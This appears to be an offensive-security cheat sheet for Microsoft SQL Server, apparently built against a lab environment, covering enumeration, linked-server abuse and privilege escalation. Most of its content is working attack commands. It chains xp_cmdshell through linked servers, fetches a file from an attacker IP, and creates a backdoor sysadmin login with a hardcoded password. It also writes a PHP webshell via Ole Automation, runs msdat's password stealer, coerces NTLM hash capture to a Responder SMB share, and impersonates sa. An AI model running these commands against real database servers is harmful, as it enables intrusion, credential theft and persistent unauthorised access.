msdat makes it easy to automate multiple enumeration / priv esc steps into a single command. You may perform all the checks at once, or run a specific check
check the output carefully and KO and OK can look very similiar
Sometimes your user might not have sysadmin on the linked server. Additionally the user you are utilizing to run code on the linked server might not have sysadmin permissions on that linked server. However that user on the linked server might have SA permissions on your server. Im going to call this backward linked server
create new sa user on the server you have access to using this backward link attack
MSSQL Raw Commands
System Databases
Database
Description
master
Tracks all system info for SQL Server instance
model
Template for every new database
msdb
SQL Server Agent scheduling jobs and alerts
tempdb
Storage for temporary objects
resource
Read-only database with system objects included with SQL Server
Default Configuration
Default service account: NT SERVICE\MSSQLSERVER
Clients may not use encryption
Self-signed certificates can be spoofed
Named pipes may be enabled
Weak or default sa credentials are common
Metasploit MSSQL Ping
SQL Queries
Additional MSSQL Clients
sqsh (Linux)
With formatting:
Windows Authentication (local account — note the .\\ prefix):
sqlcmd (Windows)
With output formatting:
dbeaver (GUI Client)
MySQL vs MSSQL Syntax Comparison
Operation
MySQL
MSSQL
Show databases
SHOW DATABASES;
SELECT name FROM master.dbo.sysdatabasesGO
Select database
USE htbusers;
USE htbusersGO
Show tables
SHOW TABLES;
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLESGO
Select all rows
SELECT * FROM users;
SELECT * FROM usersgo
Write Local Files (Ole Automation Procedures)
Enable Ole Automation:
Write a webshell:
Read Local Files (OPENROWSET)
Capture MSSQL Service Hash
Force the MSSQL service to authenticate to an attacker-controlled SMB share to capture its NTLMv2 hash.
Start Responder or impacket-smbserver first to catch the hash:
Then trigger the authentication from the MSSQL session:
# run a specific module
./msdat.py oleautomation -s 10.13.38.11 -p 1433 -U external_user -P 'password123' -d POO_PUBLIC --get-file 'C:\Windows\System32\drivers\etc\hosts' hosts
# password stealer module
./msdat.py passwordstealer --dump -s 10.13.38.11 -p 1433 -U external_user -P 'password123' -d POO_PUBLIC
# all checks
./msdat.py all -s 10.13.38.11 -p 1433 -U external_user -P 'password123' -d POO_PUBLIC
[1.1] Can the current user become sysadmin with trustworthy database method ?
[-] KO
[1.2] You can steal hashed passwords ?
[+] OK
--snip--
select * from master..sysservers;
srvid srvstatus srvname srvproduct providername datasource location providerstring schemadate topologyx topologyy catalog srvcollation connecttimeout querytimeout srvnetname isremote rpc pub sub dist dpub rpcout dataaccess collationcompatible system useremotecollation lazyschemavalidation collation nonsqlsub
----- --------- ------------------------ ---------- ------------ ------------------------ -------- -------------- ---------- --------- --------- ------- ------------ -------------- ------------ ------------------------------ -------- --- --- --- ---- ---- ------ ---------- ------------------- ------ ------------------ -------------------- --------- ---------
0 1089 COMPATIBILITY\POO_PUBLIC SQL Server SQLOLEDB COMPATIBILITY\POO_PUBLIC NULL NULL 2018-03-17 13:21:26 0 0 NULL NULL 0 0 b'COMPATIBILITY\\POO_PUBLIC ' 1 1 0 0 0 0 1 0 0 0 1 0 NULL 0
1 1249 COMPATIBILITY\POO_CONFIG SQL Server SQLOLEDB COMPATIBILITY\POO_CONFIG NULL NULL 2018-03-17 13:51:08 0 0 NULL NULL 0 0 b'COMPATIBILITY\\POO_CONFIG ' 0 1 0 0 0 0 1 1 0 0 1 0 NULL 0
# get version for linked server
select * FROM OPENQUERY([COMPATIBILITY\POO_CONFIG], 'SELECT @@VERSION AS version');
# get database names from linked server
select name FROM [COMPATIBILITY\POO_CONFIG].master.sys.databases;
# get tables from linked server
select * FROM [COMPATIBILITY\POO_CONFIG].[POO_CONFIG].INFORMATION_SCHEMA.TABLES;
# get username from linked server
EXECUTE ('select @@servername;') at [COMPATIBILITY\POO_CONFIG];
# get username from linked server
EXECUTE ('select suser_name();') at [COMPATIBILITY\POO_CONFIG];
# see which users have sysadmin privs on linked server
EXECUTE ('SELECT name FROM master..syslogins WHERE sysadmin = ''1'';') at [COMPATIBILITY\POO_CONFIG];
# enumerate permissions on linked server
EXECUTE ('SELECT entity_name, permission_name FROM fn_my_permissions(NULL, ''SERVER'');') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell whoami'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell ''''tasklist /svc'''' '') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell ''''powershell.exe -ep bypass -command Get-MpComputerStatus'''' '') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell ''''powershell.exe -ep bypass -c invoke-webrequest -Uri http://10.10.14.55:8000/hello.txt'''' '') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''USE [master]; CREATE LOGIN [backup_sa] WITH PASSWORD = ''''BackupSA2025'''', CHECK_POLICY = OFF; ALTER SERVER ROLE [sysadmin] ADD MEMBER [backup_sa]; USE [POO_PUBLIC]; CREATE USER [backup_sa] FOR LOGIN [backup_sa];'' ) AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''USE [master]; SELECT name, is_disabled, is_policy_checked FROM sys.sql_logins WHERE name = ''''backup_sa'''';'' ) AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG];
select @@version;
select user_name();
# get databases
SELECT name FROM master.dbo.sysdatabases;
# use a specific database
use POO_PUBLIC
# get table names
SELECT * FROM POO_PUBLIC.INFORMATION_SCHEMA.TABLES;
use master
SELECT * FROM master.INFORMATION_SCHEMA.TABLES;
# get the table count from a specific database
SELECT COUNT(*) AS user_table_count FROM sys.tables;
# or you can do it this way
use POO_PUBLIC;
select name from sys.tables;
SELECT name FROM sys.schemas;
# get owner of each database
SELECT suser_sname(owner_sid) FROM sys.databases
# see if your user has sysadmin role
SELECT is_srvrolemember('sysadmin')
# see what users on the service have sysadmin role
USE master; SELECT r.name AS role_name, m.name AS member_name FROM sys.server_role_members rm JOIN sys.server_principals r ON rm.role_principal_id=r.principal_id JOIN sys.server_principals m ON rm.member_principal_id=m.principal_id ORDER BY role_name;
# enumerate if if_trustworthy_on
# if trustworthy is on
# https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html?highlight=mssql#mssql-privilege-escalation
SELECT name, is_trustworthy_on FROM sys.databases;
# try to turn trustworthy on
ALTER DATABASE POO_PUBLIC SET TRUSTWORTHY ON;
# see if you can impersonate
look for impersonation
USE master; SELECT DISTINCT t.name FROM sys.server_permissions p JOIN sys.server_principals t ON p.major_id = t.principal_id WHERE p.permission_name = 'IMPERSONATE';
USE master; SELECT DISTINCT t.name FROM sys.server_permissions p JOIN sys.server_principals t ON p.major_id = t.principal_id WHERE p.permission_name = 'IMPERSONATE' AND t.name = 'sa';
# see if your user can view metadata
SELECT HAS_PERMS_BY_NAME(DB_NAME(), 'DATABASE', 'VIEW DEFINITION') AS can_view_definition;
can_view_definition
-------------------
1
# good check for users and permissions
USE master; SELECT p.permission_name, p.state_desc, gr.name AS grantee, gt.name AS grantor, sdb.name AS target_name FROM sys.server_permissions p LEFT JOIN sys.server_principals gr ON p.grantee_principal_id=gr.principal_id LEFT JOIN sys.server_principals gt ON p.grantor_principal_id=gt.principal_id LEFT JOIN sys.server_principals sdb ON p.major_id=sdb.principal_id WHERE p.class_desc='ENDPOINT' OR p.permission_name IS NOT NULL ORDER BY gr.name;
ENVCHANGE(DATABASE): Old Value: master, New Value: master
INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed database context to 'master'.
permission_name state_desc grantee grantor target_name
----------------- ---------- ------------- ------- -------------
CONNECT SQL GRANT external_user sa NULL
VIEW ANY DATABASE DENY external_user sa NULL
CONNECT GRANT public sa public
CONNECT GRANT public sa sysadmin
CONNECT GRANT public sa securityadmin
CONNECT GRANT public sa serveradmin
VIEW ANY DATABASE GRANT public sa NULL
CONNECT SQL GRANT sa sa NULL
use auxiliary/scanner/mssql/mssql_ping
set rhosts 10.129.201.248
run
sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
EXEC master..xp_dirtree '\\10.10.110.17\share\'
GO
EXEC master..xp_subdirs '\\10.10.110.17\share\'
GO
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO